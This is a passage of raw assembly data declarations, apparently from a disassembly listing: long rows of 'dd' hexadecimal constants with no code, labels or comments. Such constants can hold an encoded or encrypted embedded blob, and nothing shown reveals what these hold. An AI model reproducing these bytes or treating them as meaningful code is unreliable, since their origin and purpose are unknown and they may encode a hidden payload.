		dd 0C0A2838Ah, 3C4F0579h, 13286FBh, 0E4F477E5h,	0F05DA26Fh
		dd 4C54E99Bh, 0C4B1048Bh, 0A3BE8746h, 0D75AD044h, 63C2A164h
		dd 7042002h, 0FE5B9C4Fh, 27A62194h, 0FEFF7AFBh,	22204BFEh
		dd 0AD6ED785h, 19000018h, 62B8DF56h, 0B46E71F6h, 7038205h
		dd 6FBBDA55h, 0BB6C73EEh, 0B128ADFCh, 0C740F42Eh, 1B9C5AC0h
		dd 0AE29AE74h, 0CC31902Fh, 54EF046Eh, 77E3B8CEh, 70F762C6h
		dd 84F9583Fh, 4F04E5A6h, 6379F666h, 4805F6F0h, 0EF6EED35h
		dd 5D25C228h, 6D67EEBBh, 99D755AAh, 0E2554F05h,	0D8C19629h
		dd 0F02AED6Fh, 7DF6C27Dh, 7BF0CD90h, 0FB54E908h, 0B9BFA038h
		dd 5B54E907h, 0B04A1E99h, 5128803Bh, 6A418989h,	3FBA3F6Bh
		dd 0F1DDB6ADh, 0EB0B78B1h, 0C77C33F8h, 9B000000h, 8649C077h
		dd 0CB1379ACh, 5293E4C2h, 4F05A2D0h, 6CB6EB2Ch,	29A36CEFh
		dd 9527A213h, 5A71852h,	0FD57044Fh, 48BFC7Fh, 40F7591Eh
		dd 0F40F3C9h, 0D55700BDh, 0C1400D72h, 5B9C54E9h, 16944134h
		dd 0ACAD0B7h, 4B043F8Dh, 0D026DE6Ah, 3709615Ah,	761689E8h
		dd 19DAE4B1h, 6EE96CB6h, 8702B36Fh, 2048B026h, 0A809C322h
		dd 17ACh, 0B9DC5718h, 6F6EE961h, 1C8306B3h, 0B4DB5406h
		dd 6D70EF6Eh, 29ACFDB8h, 43F32FAEh, 9359C1C4h, 2EAD7518h
		dd 329128AFh, 0EF056FCDh, 0E0BFCD54h, 844BC677h, 9A3DC9Eh
		dd 900BC0DAh, 0E9C1A0C7h, 0C8329D8Ch, 6CB66376h, 4F3D75EFh
		dd 0B09F2AA3h, 65B1BA36h, 5384664Bh, 0C0779B4Ch, 62E97349h
		dd 7CFE24EBh, 917AE9C3h, 0C773AF0Eh, 6B249740h,	66B7E0F0h
		dd 9A7518F3h, 7AF9D5ABh, 0FE9ECC7Bh, 0D30274C0h, 95EAAD9Eh
		dd 54E99B74h, 0BAAD3FF0h, 54E996B4h, 8E474B1Fh,	33F97DB5h
		dd 0F726h, 60487100h, 884FCDBAh, 0C178F129h, 0DCB930A5h
		dd 0E90FDA97h, 3AB05A54h, 0C7382B81h, 0B8122609h, 75AD2983h
		dd 218845C4h, 0B8856474h, 208372BAh, 0AA88F93Ah, 0A208372h
		dd 0CC3194C9h, 26679A5Fh, 3119FC3Fh, 0A33D4B8Bh, 124B25A2h
		dd 0A1524A84h, 39B424F1h, 0F772E74Ch, 92F7C382h, 0C34928BEh
		dd 695629E2h, 2986F237h, 5CDF9C86h, 4104F7F3h, 43199059h
		dd 3A60C790h, 8F9B3ABDh, 80E2C3C8h, 0FC2082D8h,	0F36EEF3Bh
		dd 77DB39BEh, 78D050A4h, 1677B9h, 0E960D300h, 3BBC3CE6h
		dd 4CCB8E94h, 0E41FD149h, 3DB439E1h, 67328D9Ah,	0CE547BF6h
		dd 140E910Eh, 78A225A6h, 0AE5578F3h, 5A486FFh, 7A0054EFh
		dd 106DCC2Dh, 4F04E612h, 7AEDB892h, 0AEEE357Fh,	0C176907Dh
		dd 0DF208746h, 4F055C5Dh, 19B31CDFh, 6F68F3ACh,	0A6A0D553h
		dd 0DA2BEADFh, 54EA0035h, 0EDFFE31h, 0CDBA6048h, 0FAB7884Fh
		dd 0A154E90Fh, 96EFF479h, 54E90F94h, 0DEEADF10h, 0CD0EA865h
		dd 0B303C03h, 0CA83DC12h, 0ABB88548h, 0CBD7B5DCh, 61C4FF11h
		dd 0F02584AAh, 0AB30EDD8h, 7EC9D873h, 0C184F99Dh, 1493AAFCh
		dd 4609CADCh, 0BA3DBBE7h, 3E58352Eh, 839F3EB9h,	0BA1455D4h
		dd 0D9F533Ch, 15B2E64Fh, 5D1E0000h, 0F367A322h,	0C95174h
		dd 5A1C0689h, 0F164BE21h, 0F7C65776h, 11B433A2h, 0CBCA4509h
		dd 7F1E995Fh, 12B534A3h, 69CB346Bh, 0CB54EF07h,	0C077E6BDh
		dd 69906049h, 0B5272222h, 1573CCh, 0E51CDF00h, 37B038E2h
		dd 48CF8A90h, 0E01BDD45h, 39B025FDh, 63368196h,	0CA5077F2h
		dd 100A8D0Ah, 64BE215Ah, 0AA5174F7h, 6A88AFBh, 660454EFh
		dd 49C07729h, 99894673h, 4E5C6A4h, 80F5264Fh, 36EF5DDh
		dd 0F0AD73D0h, 0EA7F4027h, 8A54E9ACh, 94E34649h, 3B04EB4Ah
		dd 54E99C39h, 290B78BBh, 8B54E99Ch, 732C8F48h, 98D12EF1h
		dd 9C5ACDC6h, 0E118D1C9h, 492B18CBh, 0AB4F0582h, 16593768h
		dd 0EBAE3A62h, 0D950051Dh, 404D4983h, 0D1FA92F3h, 8F78339Ch
		dd 0E8754A0Dh, 5FF191E9h, 0BA179243h, 0F0EDFF30h, 0FDC28507h
		dd 0EE394EABh, 5B4706C9h, 0A07A1D9Ch, 0ABFBA92Bh, 4A1E995Dh
		dd 3B15BD99h, 0D864852h, 8D2B93D8h, 3C9C8576h, 14A375h
		dd 0D54C0F00h, 67E068B2h, 0B83FBA60h, 0D04B0D15h, 69E055CDh
		dd 9306B166h, 0FA20A722h, 40DAFD7Ah, 948E118Ah,	9A21A427h
		dd 878FACBh, 0B6F454EFh, 0E5D052D9h, 7694F04h, 284F04F6h
		dd 4F050646h, 4E685EBh,	48C88F4Fh, 3AB0025Eh, 0DE382B81h
		dd 86FB9A60h, 21E90B21h, 9958F022h, 1444h, 11B42FA0h, 0C7C64109h
		dd 741B9E5Bh, 2CB32CAEh, 0C5C847F6h, 81346550h,	0DB9B8706h
		dd 6BE1395Ch, 8635EDF0h, 0AAF98007h, 0EF07D755h, 78575554h
		dd 2AED6FD8h, 0E903A8D5h, 6A538454h, 1C3E4CC0h,	0FDD89933h
		dd 69000013h, 0B2686FE6h, 41E8106h, 57B3D255h, 0BF6B6AE5h
		dd 0B1C833Eh, 0C178FDACh, 179044DEh, 0AB2CAA70h, 0FE79FE24h
		dd 1C6120DFh, 54EF091Eh, 77B3E89Eh, 0E97349C0h,	4BD1EB62h
		dd 0AFBD0F8Ah, 4519B32Eh, 3973BBE7h, 0CDB67FA3h, 3E2E14CCh
		dd 26h,	0E5CC5259h, 83484F04h, 0BCE64508h, 342FBD3Eh, 4E66DCFh
		dd 430CCF4Fh, 5B7FC33Ch, 1CAC4F60h, 138755h, 0C0778000h
		dd 89467349h, 0BDE5440Bh, 90D1BA3Dh, 54E90033h,	7FE169B3h
		dd 3AAFD38h, 0D60B7C34h, 890BC4B7h, 40F0F9C6h, 53845ACDh
		dd 6176E379h, 5001E1Ch,	0C0749E4Fh, 42081247h, 0F40F3C9h
		dd 0FFB2B788h, 0AE94F04h, 5003735h, 8942B54Fh, 4B4ACD8Dh
		dd 0CC9C1BDFh, 0A714BA3Eh, 0CCD9F324h, 0E753B2FEh, 0B68D7D60h
		dd 272E14E2h, 1B8h, 0ED6FD876h,	0BEE44B2Ah, 0E446BF38h
		dd 404F04E5h, 0D8FDC28Fh, 0A454E8EEh, 0E846AC73h, 72557A91h
		dd 89933992h, 0DB4746C1h, 81C0981Fh, 0F770F822h, 33316EE5h
		dd 0B154E90Eh, 0CAAC957Eh, 4A54E91Dh, 34B3228Ch, 6E7AAFA4h
		dd 0CC9C1FDCh, 0EC246C36h, 0EB0A76D4h, 0FD25E86Fh, 7BE8C07Bh
		dd 0C3BC0F9Eh, 0D2849E41h, 108B4D59h, 4E9FE047h, 0AE5ACD2Fh
		dd 0D640AA6Dh, 0FB5468C1h, 0A72297F3h, 995CEEEAh, 32A37F1Eh
		dd 3E2225B7h, 0DA4F05CBh, 8502B21Ch, 73E27850h,	0CB1B1966h
		dd 56994F05h, 2CF65765h, 0D85305E4h, 337FDDE7h,	0E1E463D2h
		dd 5F1FB139h, 4FDDEF20h, 51490C8Bh, 849639Ah, 5CB3537h
		dd 1344B74Fh, 44081246h, 0D8F077E2h, 98A2366Bh,	0BF0359D2h
		dd 8E1DD5DDh, 0A515F43Ch, 0F44FA322h, 652E15ADh, 51h, 33546C46h
		dd 0C80A6FEAh, 0C6774E0Fh, 6AEB714Bh, 43F228EFh, 34410BC4h
		dd 73F1CEADh, 0F14F04E6h, 0F477E43Eh, 9273BF1Bh, 6BC93623h
		dd 0C94F04E6h, 0D3B2D506h, 0E631330Ch, 40B34F04h, 0C8E0A397h
		dd 89E12E14h, 10A5A243h, 0CB824F7Fh, 80h, 0C7E6CC02h, 2CA7299Eh
		dd 4ECAF1E2h, 0FB793685h, 91BE2B14h, 65D654E9h,	8205B557h
		dd 0D4530703h, 75F26684h, 30704A67h, 0FF9E19D1h, 0F95C380Bh
		dd 44A133h, 0D8F40000h,	0DB24EB61h, 4F04E6A9h, 0FAFB518Bh
		dd 0AC08136Dh, 2E63E452h, 75C3A59Ah, 0B9034F05h, 0D3703779h
		dd 0EDB0E564h, 24A7140Eh, 8DF25F94h, 4F0573FFh,	0DF3B9A5Dh
		dd 0EBCCF396h, 0F88F481Bh, 779h, 772CAC00h, 7B000000h
		dd 0C9E0E6CCh, 99B33A62h, 0C967D23Ch, 3E1D9305h, 0F49C574Fh
		dd 5B7A4E83h, 5A05E87Fh, 14D720Eh, 4F61E6DFh, 0C3CF88DFh
		dd 93778917h, 0BF5140C9h, 1BDF4B4Ah, 0B0B72E85h, 9DCE7D95h
		dd 322A92CFh, 5816FCDh,	46359D4Fh, 0C7356CABh, 0C53E18DBh
		dd 81D67B6Ch, 57882015h, 4F0587D0h, 32FB2783h, 2E142651h
		dd 0B844852h, 0F47882B1h, 19F2617Bh, 0B9EAEh, 60D8E900h
		dd 8269DEEAh, 39D8B01Ah, 9BE82161h, 0CCB7C001h,	43h, 0EA60D80Bh
		dd 0E658DA2Bh, 0F1D44F04h, 77AC27A9h, 4F04E5F5h, 912BA617h
		dd 82F738A2h, 0C173AF36h, 3ABD3C46h, 9BD8B5AEh,	0F878B33Bh
		dd 5CC3496h, 0D788963Eh, 9C366B47h, 729CD98Ch, 2302E99h
		dd 0D8690000h, 0FF2BEA60h, 5E96C07Fh, 573984ECh, 2B903992h
		dd 49C0777Ch, 5F92C570h, 2D14C4D4h, 3D05h, 0D6CC5000h
		dd 63D0E867h, 8F05C3B6h, 6EF3CC3Eh, 0F64F04E6h,	6DCCB405h
		dd 48058435h, 70E6CC03h, 9413C2A6h, 26B9A9BAh, 31A8216Dh
		dd 4EE6CC98h, 0A78E94F7h, 0F7406C29h, 342Ch, 0E6CC7B00h
		dd 0B6AEBA1Ch, 0F1B815C0h, 0CC28810Bh, 584356Dh, 92D3BCB7h
		dd 4F04E68Dh, 0CC4617D8h, 2AE760D6h, 0C277025Bh, 0E6CC7647h
		dd 0A3C84892h, 49772067h, 62D6CCEEh, 588D0ECCh,	330CD300h
		dd 4F04E631h, 0AE9740B3h, 6453E83Ah, 9D00BF3Eh,	3E9CD43Eh
		dd 0B31B18C2h, 0BC3FBCE6h, 2EA92C3Eh, 5FD89E88h, 0C27DFF0Dh
		dd 1E025CF6h, 0DCC4EED6h, 5FD89C86h, 117DD60Dh,	2F75235Ah
		dd 0A08931A8h, 40FB7D88h, 0E463D268h, 66AA70D4h, 0B0F0EAAEh
		dd 8C4A9A51h, 7882B10Bh, 0F16276F1h, 0DCAD0BCh,	0E2EFCB8Ah
		dd 0E26678D1h, 0D0E863E8h, 65652E63h, 76FB72E3h, 0FE64541Ch
		dd 2389BD3Dh, 0DE591EFFh, 2EA92C76h, 5B1EBF9Ah,	1DD03171h
		dd 0B027E3E2h, 2697B139h, 541BC2A7h, 2EF12264h,	8C546F4h
		dd 327E5852h, 96833268h, 541BCBA9h, 0B5E62964h,	27632C27h
		dd 355F39B0h, 9AA70786h, 3E62FC6Dh, 37E118DFh, 238D4C56h
		dd 0AFA434B3h, 6EC6E7Ah, 0BC605830h, 0C5C18AFFh, 35D79716h
		dd 6C460980h, 0BEF67050h, 23A414B1h, 81A525EEh,	0A116F73Bh
		dd 0BB3B6726h, 0DAB7AC3Ch, 6DCC5502h, 4E61210h,	0F674494Fh
		dd 764F04E5h, 7AFF1985h, 0C5C18AFFh, 2BC69716h,	0EB61D87Ch
		dd 0C37CFE24h, 6DCC4116h, 4E61210h, 0F4A1924Fh,	9B514918h
		dd 5F26B760h, 2D14C4D4h, 2505h,	61D85000h, 0F3CCD2EBh
		dd 4F04E66Eh, 0CCB405F6h, 44C3779Bh, 0EC52A981h, 239A9F4h
		dd 42150049h, 292Ch, 0D6CC7B00h, 62D1EB64h, 911BC2A9h
		dd 6EF3CC38h, 0C74F04E6h, 6DCC6572h, 48058435h,	44C37703h
		dd 62D6CC77h, 0B31CD7E5h, 4A52A235h, 1F4F04F4h,	0FFFD7958h
		dd 0CC528FFFh, 0E74F04E5h, 4F9B221h, 0BF3B06Fh,	8FC07FFFh
		dd 20A71208h, 0D5D55788h, 83374F05h, 2396B404h,	0D66BC936h
		dd 6C94F05h, 90EA87D5h,	0A60C5890h, 5BDE9B7Ah, 0ED6AEE34h
		dd 0A2289FEAh, 299CD116h, 28B7915Ch, 88F67449h,	8576915Bh
		dd 4B828EC8h, 706B6FF8h, 1F461h, 0CD52B400h, 0E64F04E5h
		dd 9BE4AB29h, 54E90602h, 0BF1E8172h, 7376D153h,	0D925F986h
		dd 10C39910h, 1B9E5B47h, 0B83FBB41h, 9108CDD5h,	0C27694C4h
		dd 8D7A7745h, 2A77480Fh, 4A5ACD33h, 5CF82089h, 4D0F2222h
		dd 0DBFE4h, 31A82B00h, 43C474AEh, 9413C65Ch, 2CA729F1h
		dd 45FC71A9h, 0BFEAD542h, 61C833Eh, 6CB6D956h, 0B06A6DEEh
		dd 661D803Bh, 0F5CDE27h, 0A2D854EFh, 49C077F5h,	22894673h
		dd 0ACA735B2h, 0BAB947Bh, 6954EF02h, 3EBBE7A6h,	0DBC185A2h
		dd 0B4CE7C95h, 3E358700h, 9950CACDh, 3BB04A1Eh,	0C74F2D12h
		dd 8CD54EFh, 0F1221591h, 0AE4C42Eh, 2B21B07Ah, 339C1BDFh
		dd 0F1732C99h, 0C447F42Eh, 764BB40Bh, 0DE5AD372h, 71B4B68Fh
		dd 9E504F13h, 0E29C5765h, 57FFFC31h, 0D82213DEh, 0D22B170h
		dd 0CD8E0000h, 63D73352h, 0B039E1E4h, 0CA8C9639h, 61D44E51h
		dd 8736E7E6h, 0A124A312h, 5B7AF579h, 0F8E09CFh,	0A225A413h
		dd 0F97B441Bh, 7B54EF0Eh, 0C077560Dh, 1D55A750h, 0BBEC7673h
		dd 2A0875D4h, 8A4F05C8h, 91CC8C49h, 0E7A624h, 5C83D3Fh
		dd 0E21DDF4Fh, 87611DD6h, 0AA6758D7h, 0C939EADBh, 948E54E9h
		dd 0CDE9A225h, 0D89F8B0Ah, 924B3EA1h, 4F861909h, 6B5C001Fh
		dd 5A265BA4h, 0CD0E5AD3h, 0C759100Ah, 38C5647Fh, 0CB8B97D2h
		dd 92C77C4Ch, 27A217F3h, 49C07795h, 0B894673h, 80867B44h
		dd 2DEE54F7h, 37E7788Ch, 541DBF1Ch, 0C74h, 0E1E41FD0h
		dd 9736B139h, 444BCE8Bh, 0FCE31CDEh, 9538B726h,	0F1643580h
		dd 0BCB5776h, 5B11098Ch, 0F665BD20h, 0FAA95077h, 0EF0FA785h
		dd 28670554h, 0EADBC077h, 4F04E688h, 0E664C63Fh, 0FC04F04h
		dd 6FCD3293h, 0CD4F04E6h, 0D4E4D90Ah, 0EFAE2C99h, 0E90B0D96h
		dd 27A66954h, 0D5F87FFBh, 8A0D8C4Dh, 0ED6FD8DDh, 985F4B2Ah
		dd 0D5068148h, 0A2834C87h, 54E90A85h, 0B5AA3EF1h, 54E909B3h
		dd 0F05BB71Eh, 15924297h, 0BFD52039h, 5973F663h, 7DA521EAh
		dd 33A9CB27h, 0C080633Bh, 60602317h, 828933F9h,	0CC000000h
		dd 7444C377h, 0D7E562D6h, 0A225948Eh, 0B11A9558h, 5068E355h
		dd 6890ECAh, 9578FAB3h,	3526B3BDh, 854ED8F1h, 91474322h
		dd 0B74BD16h, 6B54E902h, 4DFF03A8h, 88401C3Eh, 0B9329h
		dd 0C57CFF00h, 179058C2h, 0A82FAA70h, 0C07BFD25h, 199045DDh
		dd 8316A176h, 0EA3057D2h, 30EAED6Ah, 849E01BAh,	8A3154D7h
		dd 1188EADBh, 86E454EFh, 44C377C9h, 5FDD2281h, 0DD4F04E6h
		dd 0AF2EB11Ah, 56h, 44C377FEh, 0E8C7974h, 3409E84Fh, 4F04E636h
		dd 0AB8845B6h, 54E909FEh, 9C842516h, 0D31C3E46h, 0B2AB879h
		dd 0D5860000h, 6BEF3B5Ah, 0B831E9ECh, 0D2849E01h, 69EC3659h
		dd 7F3EEFEEh, 0A92CAB2Ah, 4342FD71h, 0F79611C7h, 0AA2DAC2Bh
		dd 0F1734C13h, 7354EF10h, 0C0775E35h, 47A80550h, 478B3139h
		dd 724A84E8h, 0CC9CD1FDh, 0A317B93Eh, 6DD9F324h, 0A99A535Fh
		dd 0D22E14E6h, 21Fh, 0A72297F3h, 1048EDEAh, 0F85FDD8Ah
		dd 0E90FEA87h, 0CF894A54h, 80B921E0h
		dd 5FDD8A48h, 0F7C892F8h, 90F407Ah, 78713634h, 1045B645h
		dd 1E9FE047h, 454B5CA2h, 9F9B99E6h, 0D619429Ch,	2ABE717Dh
		dd 0E86DC6BFh, 41593C71h, 0E6B9128Dh, 0F87AA007h, 89F66D7Fh
		dd 429C9FABh, 3CBCC609h, 0BF91DEBBh, 0FE48840Ch, 0DCB932A4h
		dd 64BE61D2h, 61985DF7h, 20A7984Bh, 62D37DFAh, 2D1ED5E7h
		dd 0B193AE8Ch, 0BA7BD12Bh, 0A4Ch, 19BC37B8h, 0CFCE4901h
		dd 7C63E653h, 14BB34A6h, 0CDD04F0Eh, 894C5D58h,	23938F0Eh
		dd 73F921A4h, 8E4DD5F8h, 92F1880Fh, 0EF11CFADh,	5F2D54h
		dd 7444C377h, 4F0E8C79h, 0EF01FF76h, 0D5B87B54h, 0C7941C76h
		dd 0DFF8A4CAh, 2BA42872h, 41FE7EA4h, 59D2849Eh,	34E1DCFCh
		dd 0C088D89Fh, 8DFE7547h, 0CD3043Fh, 0D3D62E33h, 8245B65Ah
		dd 0C072D498h, 8D461247h, 849E7DC0h, 41FA70D2h,	9747430Ch
		dd 0D3B7B58Ah, 0C2354F13h, 0A0140E91h, 0D3EA48B5h, 894A4F13h
		dd 71E60454h, 7D6BF1F6h, 0B8102213h, 9A7F9h, 0D9500300h
		dd 6BEC6CB6h, 0BC3BBE64h, 0D44F0119h, 6DE469B1h, 9702BD6Ah
		dd 0FE24AB26h, 44DEC17Eh, 0A8721596h, 9E25A823h, 1374F6CFh
		dd 8AF054EFh, 221827DDh, 0B04F04E6h, 9D48A6EAh,	97E3A220h
		dd 0CF30FD09h, 4F050A6Dh, 0BEC20CCFh, 0EDB01DBBh, 0E9448F90h
		dd 61241754h, 9639B039h, 0F75DDB37h, 0CC9C1BDFh, 0FC23B17h
		dd 8C5B461h, 0B5FACB8Ah, 0B15ACF90h, 0D4839F7Eh, 617BFC7Ch
		dd 41E81F2h, 0B397D457h, 4221FD9h, 91AED54h, 0C5760000h
		dd 1BDF4B4Ah, 0A821F99Ch, 0C274AE31h, 19DC4649h, 8F2EFF9Eh
		dd 0B9DC5B1Ah, 5372ED61h, 78601B7h, 0BADD5C1Bh,	1635C03h
		dd 6354EF14h, 0CC524E05h, 484F04E5h, 32850883h,	3F00C745h
		dd 54E93269h, 88F4A50h,	0AF28AAB0h, 2215917Ah, 0A4B12763h
		dd 0E931D95Bh, 0A7985B54h, 0FB7CFA20h, 8B600E1h, 0D8570000h
		dd 4B2AED6Fh, 4D1F9A5Fh, 4C31BC96h, 0F7AD4B3h, 0E8687D42h
		dd 231454E9h, 0A7D05689h, 843454E9h, 2593A903h,	19F6A3BBh
		dd 7FB0BF37h, 0CF33996Dh, 0AAD6B407h, 0F8EE2063h, 1CC4933h
		dd 9B7A0000h, 1051C88Fh, 54E8FF12h, 0FEF67449h,	857654E8h
		dd 5C7DD619h, 8746C177h, 0E65DDF20h, 1CDF4F04h,	52B819B3h
		dd 5E0A59D8h, 34360F43h, 0B04F057Fh, 45410A7Fh,	5BB71691h
		dd 0F5F3BD71h, 37A56EDCh, 0E3EA615h, 0DAD3549Eh, 0FB10C610h
		dd 87812C52h, 2797F352h, 0C72310A8h, 0FC49413h,	46F41642h
		dd 0FC0C6E57h, 0A7684F04h, 0C1779372h, 20FA8D46h, 8F6E31AAh
		dd 4FBB4B6h, 12FF304Fh,	57031F46h, 8E4BF8D0h, 1BDD7E2Bh
		dd 97E8AFE0h, 4F04FBCDh, 0C129EC2Fh, 0FCB58C13h, 62E55243h
		dd 94746431h, 0B523C2CEh, 0B38C5332h, 4F057BB1h, 7017C033h
		dd 0D3822CAAh, 96496354h, 4F057C88h, 0DD3C64CEh, 9AF99C1Fh
		dd 7C68CA3Bh, 13C44F05h, 0BC36F346h, 0AB207AD9h, 45B29830h
		dd 2495FB60h, 0F3309DCEh, 4F05E379h, 4D5538FBh,	8BB8108Bh
		dd 0FC708ACEh, 0E38EECD1h, 2DEE4F05h, 894DD5F8h, 2BA0BA0Eh
		dd 520218B0h, 0BB6B9CCh, 0A297955Ch, 0C740F416h, 1D055FF5h
		dd 0E1218BD5h, 0CCD34C00h, 5369E656h, 642BA966h, 0E99BAA1Bh
		dd 0C6C90A54h, 4D1F985Ch, 7E21AB10h, 50D7839Fh,	8AC0BE87h
		dd 8EF54E9h, 0E98B3537h, 3A44B754h, 0B0A339BEh,	0BC31DBE7h
		dd 0AEDF381Ch, 0BAEFD854h, 0DC5EA72Eh, 5854E8F0h, 0AE71A297h
		dd 5A5E0444h, 35A4D14Eh, 0F82D26B2h, 2FAFBD1Fh,	550218B0h
		dd 5B2786D2h, 8502B657h, 62AE7450h, 0FC7DD383h,	0AAF46F7Dh
		dd 9578AD2Ah, 9E53CD8Dh, 0FA20C422h, 0FE814ABFh, 0A537B024h
		dd 1AFD7F28h, 0CD16BC25h, 0B017D85Ah, 5C6CEB6Ah, 1947ABE7h
		dd 893A4E9Dh, 0ED61B9CCh, 1B75372h, 0FC3B469Fh,	7DAE7935h
		dd 6FD88D5Ah, 3A0B12C4h, 4F04E638h, 0BA0E43B4h,	99F15489h
		dd 4234FBB2h, 0DD0BDA9h, 0E931D330h, 88201354h,	5E41C672h
		dd 0EB61D889h, 0E6086ED1h, 0E7434F04h, 0C91172BBh, 33922E14h
		dd 4DA70F2h, 4E0BCC4Fh,	3F17h, 0C3774600h, 22A98144h, 0CB904454h
		dd 915602CFh, 4F04FA93h, 6840FB71h, 0D4E463D2h,	69A1E1B9h
		dd 6C8DF55Fh, 109742ECh, 2147B8DFh, 4A4F051Ch, 59DB248Bh
		dd 0DB4F051Ah, 0A208BF18h, 5FFFFFFFh, 7049C077h, 61D86E39h
		dd 5B0CD2EBh, 0B515E6CCh, 0D7209CABh, 13B387Ah,	55AC2D15h
		dd 1D000000h, 21E341BEh, 8E414C05h, 61D894C5h, 0D6CCD2EBh
		dd 62D1EB64h, 70DD5618h, 0E5D250ADh, 2A894F04h,	4E657D5h
		dd 8A4BD54Fh, 5586BD0Fh, 0E5AF8DF2h, 0CA0D4F04h, 25B26501h
		dd 0C3779BCCh, 5A6EE96Dh, 0CC27B4E9h, 0CDB77BE6h, 8C5FE8Ah
		dd 2A2CCB6Ch, 7B000000h, 47961D8h, 4F04E626h, 2D9E0D6h
		dd 611D40BEh, 0CC6C7DAEh, 4E671F3h, 5871C24Fh, 83356DCCh
		dd 770E4F08h, 157744C3h, 356DCC42h, 59DB0883h, 0DB4F04E6h
		dd 0E653BF18h, 94964963h, 324F04E5h, 44C37793h,	4812FF74h
		dd 0A920A948h, 0F42DD926h, 83424F04h, 0FB7ED287h, 82B10B7Ch
		dd 0F3EE96C9h, 77C1FFFFh, 624144C3h, 0E5C0A283h, 0FB3C4F04h
		dd 60E25B1Eh, 0F7340BDh, 60D354E9h, 0E919748h, 6E3C54E9h
		dd 0F698EB22h, 7C133F8h, 14000000h, 12Ch, 6FD87B00h, 7AF02AEDh
		dd 833E95C1h, 77CCD8A0h, 3E64CB9Ah, 0B6AD3FB8h,	0EE0B94DDh
		dd 0A86B54E9h, 0C94E0A10h, 0CA3079C6h, 0B62454E9h, 0C2889235h
		dd 0D99C8649h, 7CD90A5Eh, 0BC96755Ch, 0D7EEF078h, 313370EBh
		dd 0B354E9D5h, 91B49740h, 41BE1DE0h, 54E9D4E3h,	9933AA21h
		dd 12FF30AAh, 23A94848h, 0E74625A8h, 0E9D49C9Eh, 7AD71854h
		dd 9A205B10h, 6A50CB80h, 698888D2h, 0DCAD6BE2h,	3C9916C6h
		dd 0C4E45F9Fh, 0C7152E94h, 40000000h, 26E963D8h, 53F6F1CCh
		dd 0A06D0CCEh, 6EF3CC2Bh, 0C74F04E6h, 6DCC6572h, 3680B005h
		dd 2CF4A74h, 62D63755h,	7049C077h, 61D86E39h, 7AFE24EBh
		dd 0B1E265D4h, 18DE281Bh, 0BD16CD9Fh, 0CC5B0C1Ch, 0D5E760D6h
		dd 0F241B51Eh, 1B2D14C4h, 2Bh, 0EB61D8B2h, 0C17EFE24h
		dd 0F3CC4714h, 4F04E671h, 0CCAB00F3h, 44C3779Bh, 2C421577h
		dd 49h,	53D12E8Dh, 0D14F04E6h, 0D824B51Eh, 26047961h, 0E64F04E6h
		dd 6EE5F770h, 57578374h, 893A8D4Ch, 0CC0BA095h,	0D3E966D6h
		dd 0B0088349h, 22854E83h, 4E65FDDh, 724BEC4Fh, 0C3779BCCh
		dd 86A98144h, 5923D803h, 1586D780h, 64D6CC42h, 0A962D1EBh
		dd 0FFFF3036h, 0C07761FFh, 62E97349h, 0E6260479h, 4C864F04h
		dd 0C63ED8A8h, 0FF3065C5h, 0B230EDD8h, 50AD0CD3h, 4F04FDD2h
		dd 0B4048332h, 7D003BFh, 0E914D93Eh, 8EDA1D54h,	0E8F3D759h
		dd 68A87254h, 0F8DAE2A1h, 3A0B33h, 0D8420000h, 0D52AED6Fh
		dd 54E90860h, 9E411BDCh, 54E90798h, 0AA46AC33h,	0E0A4309Ah
		dd 40C5603h, 0F90876CDh, 57A80F33h, 54E918D5h, 15E9CF07h
		dd 1793B354h, 0DD7C6B24h, 9B000000h, 7349C077h,	8834852h
		dd 1792434Fh, 0B930A745h, 0BDAEFCD6h, 0E8FC4B30h, 0D89FAD2Fh
		dd 0F85F3EA1h, 27B532A2h, 275F72Ch, 4F74F05h, 6506A4Bh
		dd 8F4C4F05h, 0DA91890Ch, 0E35C09A3h, 0F3DFBE61h, 0E0DDFF14h
		dd 4F054C82h, 0C3E531E2h, 72B31C92h, 54E98641h,	0F577481Dh
		dd 7754E981h, 824B2916h, 66A954E9h, 0EADDC035h,	79D8BF3Dh
		dd 5932AD21h, 0D02B6818h, 440BCC5Ah, 7D609F5Eh,	30B930A5h
		dd 22203658h, 0C104ED6Fh, 2D000002h, 76AC33AAh
		dd 0D84245C2h, 2BF79611h, 73AF2EA9h, 0D74047C2h, 853CB1E8h
		dd 0DB541802h, 6FE86EB4h, 8205B268h, 0D8256403h, 54EF1A5Ah
		dd 77F7ACDAh, 65444BC6h, 0E5BBB986h, 0DF394F04h, 1BC8E01Fh
		dd 0AA216D26h, 1F066C33h, 1513A14Fh, 0BDCE3ACh,	2AED6FD8h
		dd 0E44E82C0h, 0BF18A4BBh, 0FD9E97E8h, 0DD1E54E9h, 32AD207Ah
		dd 48527359h, 0B3CF0B84h, 0ABA309F4h, 2C3273DCh, 0A754E99Eh
		dd 2D16DFC3h, 0B633F981h, 928CEED7h, 0C08854E9h, 0C4FE7547h
		dd 0C940F713h, 107510Ch, 18720000h, 26975B25h, 759C6FABh
		dd 777D5A37h, 0FD850C0h, 5E72730Eh, 50A0361h, 7DAE614Fh
		dd 2BAAB008h, 3AB1E9ACh, 0ACBD369Ah, 0A798265Bh, 0C641F715h
		dd 0AF903895h, 4F051915h, 0B6D95007h, 8E09CBD7h, 2EA9203Ah
		dd 9B74A99Ah, 6B41F87Fh, 5C03817Eh, 0F1B9446h, 0A302CF4Ah
		dd 0E92B3142h, 0E77D654h, 54E9172Ch, 0E08A4788h, 60AAFA36h
		dd 7D95F92Fh, 0A390FA7Dh, 8CF0070h, 0CFD654A9h,	0E55654E9h
		dd 0D75E71A9h, 3C99B05Ah, 0E361DEA9h, 7350C33Ch, 0C3345AD0h
		dd 0F157061Ch, 0A8DFE79h, 66384FABh, 89962A8Ah,	9413C2CCh
		dd 20205FD7h, 39F85022h, 170h, 0FDE01BDCh, 9332B525h, 4047C277h
		dd 0F89F18DAh, 9134B322h, 0ED603984h, 7B75372h,	5F1D0588h
		dd 0EA61B9DCh, 0F6D56C73h, 0EF1AAB89h, 24730954h, 0F662C677h
		dd 71593C71h, 44DD4A6Bh, 9736E392h, 4A4DCC8Bh, 16BA3F6Bh
		dd 5F9424A3h, 28E55E6Ah, 49C077A3h, 7962E973h, 4E62604h
		dd 7955864Fh, 792D8D9Bh, 0E2E5D695h, 0F95CDE97h, 0E96EA384h
		dd 72F90354h, 0B128AFFBh, 0CA81997Ch, 8E6D4C53h, 0E966B3B1h
		dd 60D73154h, 2F60D3E9h, 38B33862h, 0FA7835A0h,	4A5EB41Bh
